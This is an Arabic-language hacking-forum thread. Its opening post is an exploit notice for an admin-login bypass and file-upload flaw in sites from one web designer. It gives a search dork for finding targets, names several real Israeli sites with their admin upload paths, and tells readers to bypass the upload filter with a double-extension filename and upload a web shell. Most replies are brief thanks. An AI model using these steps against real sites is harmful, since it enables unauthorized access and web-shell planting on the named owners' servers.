ثغرة رفع الشل و تخطي الادمن bypass login session

[Dra Gon]

######################################
# Exploit Title : Bypass login [ SESSION ] Upload #
# Author : Lov3rDns #
# Contact : [skype:Lov3rDns] #
# Dork : inurl:/page.asp?NewsID= & /page.asp?PageID= #
# Tested on : win7 #
# Vendor's Website : http://www.ekdesign.co.il/ #
# Date : [2014/5/26] #
#######################################
Vulnerability
********************
[+] Vulnerability
[+] http://www.dt-law.co.il/admin/[UPLOAD]
[+] www.site.com/modules/admin/[UPLOAD]
***********
Exploit ..
***********

http://testcar.co.il/admin/[UPLOAD]

http://testcar.co.il/admin/upload.asp
http://www.pgs-law.co.il/admin/upload.asp
http://www.dt-law.co.il/admin/upload.asp

************************************************** ******************************
Bypass and upload your shell , TamperData .. img.jpg.pjpeg <<
Good luck
************************************************** ******************************

[Aloulou]

الرجاء عمل مثال حي للثغرة أو ستقوم الإدارة بالحذف ،شكرا

[BeginSpy]

الرجاء التوضيح اكثر و شكرا

[nouh05]

thnxxxxxxxxxx

[mstrhax]

مشكور والله يديمك ويجزيك الخير

[beach king]

شكرا

[sehli]

thnx

[moudi.sh]

fffffffffffffffffffffffffffffffffff

[Sn!per_Tn]

old

[استلكاع اليماني]

شكراااااااااااااااااااااااااااااااااااااااااااا

[korabikayoussef]

مشكور والله يديمك ويجزيك الخير

[rhofex]

nichaaan

[gony_man]

thank Y

[mox5500]

thnkssssssssssssssssssssss

[الغيث الابدي]

شكرا للجميع